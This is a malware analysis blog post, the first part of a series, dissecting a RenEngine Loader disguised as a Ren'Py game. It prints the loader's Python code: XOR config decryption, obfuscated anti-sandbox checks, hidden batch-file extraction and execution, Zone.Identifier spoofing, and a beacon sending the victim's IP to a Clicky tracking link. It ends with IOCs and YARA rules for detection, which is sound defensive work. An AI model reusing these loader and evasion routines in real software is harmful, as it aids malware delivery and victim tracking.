Part 1 - Part 2

Recently, we came across some malware masquerading as a game. As we were looking for a nice malware analysis project to test out malware analysis with Claude Code, this seemed like a fun candidate.

The goal of this project is to unpack and understand each stage of the malware infection chain. As we will see, the malware is a lot more complex than it might seem from the start, making it a great target for testing out malware analysis with Claude Code.

It all starts with a 766 MB ZIP file supposedly containing a Ren’Py game. Ren’Py is a popular Python-based framework to create visual novel games. The contents of this ZIP are an actual Ren’Py project, but they do not contain a game. When we unpack and run Setup.exe inside the ZIP, we get a nice installer loading screen:

loading

Although this is not an actual game, something is being installed in the background.

Stage 1: Ren’Py

When inspecting the actual contents we see the following interesting files:

game.zip
├── lib
│   ├── ...
│   ├── python_x64.bin
│   └── python_x86.bin
├── renpy
│   └── ...
├── data
│   ├── gui
│   │   └── ...
│   ├── cache
│   │   └── ...
│   ├── .miE
│   ├── f5yrphMWepLW.zH
│   ├── libwin32.rpa
│   ├── python-packages
│   │   ├── libpython.rpmc
│   │   └── sys_config
│   │       ├── access_internet.py
│   │       ├── __init__.py
│   │       ├── sys_check.py
│   │       ├── sys_file.py
│   │       └── sys_spec.py
│   └── script_version.txt
├── Setup.exe
└── setup.py

Setup.exe, setup.py, lib and renpy are all legitimate Ren’Py files. The data directory is added by the malware author and implements the functionality of this “game”.

python_x64.bin, python_x86.bin and libpython.rpmc only consist of NULL bytes and account for 96% of the ZIP file’s size. As visual novels usually consist of many image and video files, these files are likely added to pad the ZIP file to a less suspicious size. A small size would be suspicious.

When we run either Setup.exe or setup.py, Ren’Py is started and all .rpa files are loaded. .rpa files are Ren’Py archive files that contain Python code, images, videos or other game resources. With a tool like RPA Extractor Online we can unpack the libwin32.rpa archive. It contains multiple Python files to implement the installer loading screen, and most importantly, it contains script.rpy.

Stage 2: script.rpy

script.rpy is a large Ren’Py Python script that performs multiple steps. It starts with decrypting a configuration file.

Configuration Decryption

When Ren’Py runs the script, it executes the aptly named Python function extract_and_run. This function starts by decrypting a configuration:

...
def extract_and_run():
    try:
        game_dir = config.gamedir
        matches = glob.glob(os.path.join(game_dir, ".*"))
        meta_path = matches[0] if matches else None
        with open(meta_path, 'r') as f:
            encoded_data = f.read()
            decoded_data = base64.b64decode(encoded_data)
            secret = '81034149cd6f48c8821340204f92766e'.encode()
            decrypted = bytes([byte ^ secret[i % len(secret)] for i, byte in enumerate(decoded_data)])
            meta_data = json.loads(decrypted.decode('utf-8'))

        archive_name = meta_data.get('file_nm', '')
        password     = meta_data.get('pasw', '')
        exec_file    = meta_data.get('exc_fl', '')
        sandbox      = meta_data.get('snd_bx', False)
        pub          = meta_data.get('pb_s', 'NA')
        hashid       = meta_data.get('hash', 'NA')
...

It looks for files that match the glob .*. And it so happens that game.zip contains such a file: .miE. This file contains a JSON configuration, encrypted with XOR and the key 81034149cd6f48c8821340204f92766e. This decrypts to the following JSON:

{
    "file_nm": "f5yrphMWepLW.zH",
    "pasw": "Bba5GY",
    "exc_fl": "6pGtNaMpA.bat",
    "snd_bx": false,
    "pb_s": "B_B805_eb_p6b_26",
    "hash": "cb291172eae9403c8ce1c8373c75a09e44983b1882408b7aa797abdc7dcb1fe61465e97a3ac7c0351d3136e869e41eef2473d185c498b6522afac948"
}

The configuration contains the following data:

Key Description
file_nm The filename of the next stage to unpack.
pasw The password used to decrypt the next stage.
exc_fl The filename of the unpacked next stage.
snd_bx If the malware is allowed to run in a sandbox (e.g. a Virtual Machine).
pb_s unclear, likely some type of campaign ID.
hash unclear, likely some type of campaign ID.

Anti-Sandbox Checks: sys_config

Before the script continues, it first performs some rudimentary anti-sandbox heuristics. The data/python-packages/sys_config directory in the ZIP file contains multiple partially obfuscated Python files that try to determine whether the process is running inside a virtual machine.

The Python code has scrambled variable names and replaces some strings by a concatenation of chr() calls. For example:

...
@staticmethod
def check_model():
    if os.name == "".join([chr(110),chr(116)]):
        _imuc36xfw = None
        vypu3ocici = None

        try:
            gnb72511h5 = (chr(71)+chr(101)+chr(116)+chr(45)+chr(67)+chr(105)+chr(109)+chr(73)+chr(110)+chr(115)+chr(116)+chr(97)+chr(110)+chr(99)+chr(101)+chr(32)+chr(87)+chr(105)+chr(110)+chr(51)+chr(50)+chr(95)+chr(67)+chr(111)+chr(109)+chr(112)+chr(117)+chr(116)+chr(101)+chr(114)+chr(83)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(32)+chr(124)+chr(32)+chr(83)+chr(101)+chr(108)+chr(101)+chr(99)+chr(116)+chr(45)+chr(79)+chr(98)+chr(106)+chr(101)+chr(99)+chr(116)+chr(32)+chr(77)+chr(111)+chr(100)+chr(101)+chr(108))
            czzaiu7upal = subprocess.check_output([(chr(112)+chr(111)+chr(119)+chr(101)+chr(114)+chr(115)+chr(104)+chr(101)+chr(108)+chr(108)), bytes([45,67,111,109,109,97,110,100]).decode("utf-8"), gnb72511h5], shell=True).decode()  # VCNa1SxnBKWLdtdBe
            _imuc36xfw = czzaiu7upal.split('\n')[3].strip()

            if _imuc36xfw.lower() in Specs._MODELS:
                gwksjmxjjjakp = 0
                vypu3ocici = "".join([chr(77),chr(79),chr(68),chr(69),chr(76),chr(32),chr(104),chr(97),chr(115),chr(32),chr(98),chr(101),chr(101),chr(110),chr(32),chr(108),chr(105),chr(110),chr(107),chr(101),chr(100),chr(32),chr(116),chr(111),chr(32),chr(97),chr(32),chr(118),chr(105),chr(114),chr(116),chr(117),chr(97),chr(108),chr(32),chr(109),chr(97),chr(99),chr(104),chr(105),chr(110),chr(101),chr(46)])
                _fqhjrs = "logwy"
            else:
                gwksjmxjjjakp = 5

        except Exception as e:
            gwksjmxjjjakp = 5
            vypu3ocici = f"Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}"

        gtbaswzb = f"MODEL is {_imuc36xfw}."

        return gwksjmxjjjakp, gtbaswzb, vypu3ocici
    else:  # Unix/Linux/Mac
        return 5, bytes([77,79,68,69,76,32,105,115,32,78,111,110,101,46]).decode("utf-8"), bytes([84,104,105,115,32,116,101,115,116,32,99,97,110,32,111,110,108,121,32,98,101,32,114,117,110,32,111,110,32,87,105,110,100,111,119,115,46,32,67,111,110,115,105,100,101,114,105,110,103,32,116,104,105,115,32,116,101,115,116,32,115,117,99,99,101,115,115,102,117,108,46]).decode("utf-8")
...

Although we can understand the general functionality of this Python code by looking at the function names and unobfuscated strings, we can ask Claude Code to deobfuscate it for us:

...
@staticmethod
def check_model():
    if os.name == "nt":  # Windows
        model = None
        detail = None
        try:
            cmd = "Get-CimInstance Win32_ComputerSystem | Select-Object Model"
            output = subprocess.check_output(["powershell", "-Command", cmd], shell=True).decode()
            model = output.split("\n")[3].strip()

            if model.lower() in Specs._MODELS:      # matches a known VM model
                score = 0
                detail = "MODEL has been linked to a virtual machine."
            else:
                score = 5
        except Exception as e:
            score = 5
            detail = ("Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception: {e}")

        message = f"MODEL is {model}."
        return score, message, detail

    else:  # Unix/Linux/Mac
        return (5, "MODEL is None.", "This test can only be run on Windows. Considering this test successful.")
...

As expected, this function checks the model of the victim machine using PowerShell:

Get-CimInstance Win32_ComputerSystem | Select-Object Model

sys_config performs a similar check for the manufacturer:

Get-CimInstance Win32_ComputerSystem | Select-Object Manufacturer

If the script determines we are inside a virtual machine, it immediately exits. In practice, this will likely never happen though. The heuristics seem to be implemented incorrectly. For example, the manufacturer of a VMWare virtual machine is “VMWare, Inc.”, but the manufacturer heuristic checks if the manufacturer is exactly “vmware”.

This sys_config module actually contains many more heuristics to determine whether the process is running inside a virtual machine. Including checks on running processes, available RAM and available processors and available storage. However, these are unused. These heuristics may have been disabled because they were too invasive or were not accurate enough.

Preparations

After we pass the anti-sandboxing checks, we start preparing for the next stage, by creating a temporary directory C:\Users\<user>\AppData\Local\Temp\tmp-\d{5}-[a-zA-Z0-9]{12}\:

...
temp_dir = os.environ.get('TEMP', os.path.join(os.path.expanduser('~'), 'AppData', 'Local', 'Temp'))
folder_num  = ''.join(random.choices('0123456789', k=5))
folder_uid  = ''.join(random.choices('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789', k=12))
folder_name = 'tmp-' + folder_num + '-' + folder_uid
run_dir     = os.path.join(temp_dir, folder_name)
if not os.path.exists(run_dir):
    os.makedirs(run_dir)
...

Next, script.rpy reads and decrypts a new ZIP file based on the configuration:

...
def xor_decrypt_to_memory(filename, key):
    with open(filename, 'rb') as file:
        ciphertext = file.read()
    key = key.encode()
    plaintext = bytes([byte ^ key[i % len(key)] for i, byte in enumerate(ciphertext)])
    return plaintext

archive_path    = os.path.join(game_dir, archive_name)
decrypted_bytes = xor_decrypt_to_memory(archive_path, password)
decrypted_file  = io.BytesIO(decrypted_bytes)
exec_file_mapped = exec_file
...

The decrypted ZIP file contains one file: 6pGtNaMpA.bat. Finally, the decrypted ZIP file is extracted into the temporary directory:

...
with zipfile.ZipFile(decrypted_file) as zip_ref:
    pwd = password.encode() if password else None
    for zip_info in zip_ref.infolist():
        with zip_ref.open(zip_info, pwd=pwd) as f:
            content = f.read()

        original_name = zip_info.filename
        out_filename  = original_name

        if original_name.lower().endswith(('.bat', '.cmd')):
            random_number = random.randint(100000, 999999)
            content += f'\nREM {random_number}'.encode()
            fake_ext = '.' + ''.join(random.choices(string.ascii_lowercase + string.digits, k=random.randint(2, 3)))
            out_filename = os.path.splitext(original_name)[0] + fake_ext
            if original_name == exec_file:
                exec_file_mapped = out_filename

        out_path = os.path.join(run_dir, out_filename)
        with open(out_path, 'wb') as out_file:
            out_file.write(content)

        try:
            with open(out_path + ':Zone.Identifier', 'w') as zf:
                zf.write('[ZoneTransfer]\r\nZoneId=0\r\n')
        except Exception:
            pass
...

As we can see, if the file in the ZIP file is a Batch file, its extension is randomized. The malware likely does this to prevent antivirus from detecting that a suspicious new, large Batch file is written to disk.

After the Batch file is extracted, a Zone.Identifier file is also created to mark the file as trusted.

Clicky

Before we actually run the Batch file, an HTTP request is sent to the web analytics site Clicky:

...
import requests
def call_lnk(lnk):
    try:
        response = requests.get(lnk)
        print(response)
    except Exception as e:
        pass

def elnk(pub='NA', hashid='NA'):

    ipf = "https://api"
    ipf1 = ".ipify"
    ipf2 = ".org"

    ip_address = requests.get(f'{ipf}{ipf1}{ipf2}').text

    shake = "https://in"
    shake0 = ".get"
    shake1 = "clicky."
    shake2 = "com/in."
    shake3 = "php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a"
    lnk = f"{shake}{shake0}{shake1}{shake2}{shake3}&type=download&title=file&ip_address={ip_address}&href={pub}&custom[hash]={hashid}"
    call_lnk(lnk)
...
Thread(target=lambda: elnk(pub, hashid), daemon=True).start()
...

This code first gets the public IP address of the victim from https://api.ipify.org and sends an HTTP request to: https://in.getclicky[.]com/in.php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a&type=download&title=file&ip_address={ip_address}&href={pub}&custom[hash]={hashid}

Here {ip_address} is the public IP address of the victim, and pub and hashid are taken from the decrypted JSON configuration.

Clicky is a web analytics platform (similar to Google Analytics), which allows users to monitor traffic to their websites (or malware in this case). The malware author likely added this to have early visibility inside the infection chain.

Execution

And then finally, script.rpy executes 6pGtNaMpA.bat in a separate thread:

...
def run_program():
    startupinfo = subprocess.STARTUPINFO()
    startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
    startupinfo.wShowWindow = subprocess.SW_HIDE

    if original_ext in ['.bat', '.cmd']:
        time.sleep(2)
        bat_name = os.path.splitext(exec_file_mapped)[0] + '.bat'
        subprocess.Popen(["forfiles.exe", "/p", run_dir, "/m", exec_file_mapped, "/c", f"cmd /c ren @file {bat_name} && call {bat_name}"], cwd=run_dir, creationflags=0x00000008 | 0x00000200, stdin=subprocess.DEVNULL, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, close_fds=True)
        return 0
    elif original_ext == '.msi':
        cmd = ["msiexec", "/i", exec_path]
    elif original_ext == '.ps1':
        cmd = ["powershell.exe", "-ExecutionPolicy", "Bypass", "-File", exec_path]
    else:
        cmd = [exec_path]

    subprocess.Popen(cmd, cwd=run_dir, startupinfo=startupinfo, close_fds=True, creationflags=subprocess.DETACHED_PROCESS | subprocess.CREATE_NEW_PROCESS_GROUP)
...

As the file extension of our Batch file is randomized when the Batch file is extracted, the file is first renamed to have a .bat extension, using forfiles.

Conclusion

This concludes the first part of this infection chain. Next up is the analysis of our newly executed Batch file 6pGtNaMpA.bat.

By searching for other Ren’Py-based malware, we find blog posts describing a similar loader12: RenEngine Loader. This is expected, as the support for executing .msi, .ps1, .cmd and .bat payloads indicates that this loader is likely deployed in multiple malware campaigns. However, our RenEngine Loader version seems to have evolved slightly from the versions discussed in the blogs. Our version contains an extra configuration field (hashid) and more obfuscation (e.g. the configuration file is encrypted in our version.)

At the start of this blog post, we said that the point of this project was to test malware reverse engineering with Claude Code. But during this first part we only encountered Python code. During this analysis, we did ask Claude Code to explain certain parts, but this did not provide much additional context, as the analyzed Python code was readable and pretty straightforward. In the next parts, we will see Claude Code provide much higher value.

IOCs

All files are uploaded to VirusTotal and MalShare.

Filename game.zip
Description The ZIP file containing the full Ren’Py game.
SHA256 975fb3e8fc95c20f40513727c98720c555cde764539c0b5127d6c158ed07be77
Filename game_without_filler.zip
Description The ZIP file with all the NULL byte files removed, making it easier to share.
SHA256 57ffd00e17bfcb2cb5b5067fb3d7101726601985ec8433a6921fd6b75c74e098
Filename libwin32.rpa
Description The malicious Ren’Py archive containing script.rpy
SHA256 dc1a973a602c1ab85e78cd78c77622a6ce235ae7fd035e2496be212653a93f2f
Filename gui.rpy
Description Ren’Py script used to show the decoy loading screen.
SHA256 dd3af8d0fe5c0ec7c42d9075a3518701bdcb523464fc691bc5589fea496d3661
Filename options.rpy
Description Ren’Py script used to show the decoy loading screen.
SHA256 b210103e8e4d911a342163fce735291aca113fbb4c02c5591e0bf82aa82764f6
Filename screens.rpy
Description Ren’Py script used to show the decoy loading screen.
SHA256 2f6a06b5272d9c08a004e07a3d0bbfa554062a4b7849bb54535337ddbcd2191a
Filename script.rpy
Description Ren’Py script that decrypts and executes the next stage.
SHA256 b63cbe39d20cbb05ac938e307534e962a35a385af8ac198d0d8f1d12c9788528
Filename sys_config/access_internet.py
Description Anti-sandbox check Python script.
SHA256 080c4ca827bb8c33132e7a93d4592274e48ff8da1390b38e213b561f4b5335df
Filename sys_config/__init__.py
Description Anti-sandbox check Python script.
SHA256 f0030acf44242579e150fe55543fb4d857867196d849360d54e41356dbff328d
Filename sys_config/sys_check.py
Description Anti-sandbox check Python script.
SHA256 4db292149f404ebed8f0e8756266a52c8f516130ab342f4f5ed15902e5590477
Filename sys_config/sys_file.py
Description Anti-sandbox check Python script.
SHA256 3c5095fe0e5501b14c083fbd2080c88d1b93263227b8cf94ddfd9b91b40faf6c
Filename sys_config/sys_spec.py
Description Anti-sandbox check Python script.
SHA256 92e796718c1e2f7a7178cdf21cfbc351fc38709e040d910dc4932c196b561e19
Filename .miE
Description The encrypted configuration.
SHA256 53472f14a64f131eaa6b8d452068980835dae21f8d68d1664c35830dd9cd635a
Filename .miE.json
Description The decryption configuration.
SHA256 ee34c6029da36e9e041ff4a0d77e4b4538c65bd877afb78be309ae8fd6a6c5f1
Filename f5yrphMWepLW.zH
Description Encrypted ZIP file containing 6pGtNaMpA.bat.
SHA256 e08b14c20aa5c9292e0722716d60f6fdeb60cbcfa127e0731fac2e7ee21ce0d9
Filename f5yrphMWepLW.zH.decoded.zip
Description ZIP file containing 6pGtNaMpA.bat.
SHA256 877de0cd04d54def0deaeabbd5dc392a1c6d853e041c37b1ca11954ea79c3b9c
Filename 6pGtNaMpA.bat
Description The payload of the RenEngine Loader.
SHA256 777ef76e1e8ee5c621d22e17147f3b37efc7b4e3d8b5403eaa5f289d665f113a

Campaign tracking link:

https://in.getclicky[.]com/in.php?site_id=101501510&sitekey_admin=26e2086e86ebc9adc9f90bfd86f9f05a&type=download&title=file&ip_address={ip_address}&href=B_B805_eb_p6b_26&custom[hash]=cb291172eae9403c8ce1c8373c75a09e44983b1882408b7aa797abdc7dcb1fe61465e97a3ac7c0351d3136e869e41eef2473d185c498b6522afac948

YARA Rules

rule UNPACKINGTHENARRATIVE_SCRIPT {
    meta:
        author = "Joren Vrancken"
        description = "Detects script.rpy"
        hash = "b63cbe39d20cbb05ac938e307534e962a35a385af8ac198d0d8f1d12c9788528"

    strings:
        $ = "26e2086e86ebc9adc9f90bfd86f9f05a"
        $ = "81034149cd6f48c8821340204f92766e"
        $ = "ip_address = requests.get(f'{ipf}{ipf1}{ipf2}').text"
        $ = "meta_data.get('snd_bx', False)"
        $ = "'tmp-' + folder_num + '-' + folder_uid"
        $ = "def elnk(pub='NA', hashid='NA')"

    condition:
        3 of them
}

rule UNPACKINGTHENARRATIVE_SYSCONFIG {
    meta:
        author = "Joren Vrancken"
        description = "Detects the sys_config anti-sandbox Python code"
        hash = "92e796718c1e2f7a7178cdf21cfbc351fc38709e040d910dc4932c196b561e19"

    strings:
        $ = "FILES will look for VM related files."
        $ = "}% chance of being in a virtual environment.\n"
        $ = "HARD DRIVE has a total storage of {"
        $ = "RAM has a total storage of {"
        $ = "Something went wrong, so giving benefit of the doubt. Considering this test successful.\nexception:"

    condition:
        any of them
}

rule UNPACKINGTHENARRATIVE_RENENGINE_CONFIG {
    meta:
        author = "Joren Vrancken"
        description = "Detects the decrypted Rengine Loader JSON configuration"
        hash = "ee34c6029da36e9e041ff4a0d77e4b4538c65bd877afb78be309ae8fd6a6c5f1"

    strings:
        $ = "exc_fl"
        $ = "file_nm"
        $ = "snd_bx"
        $ = "pb_s"

    condition:
        2 of them
}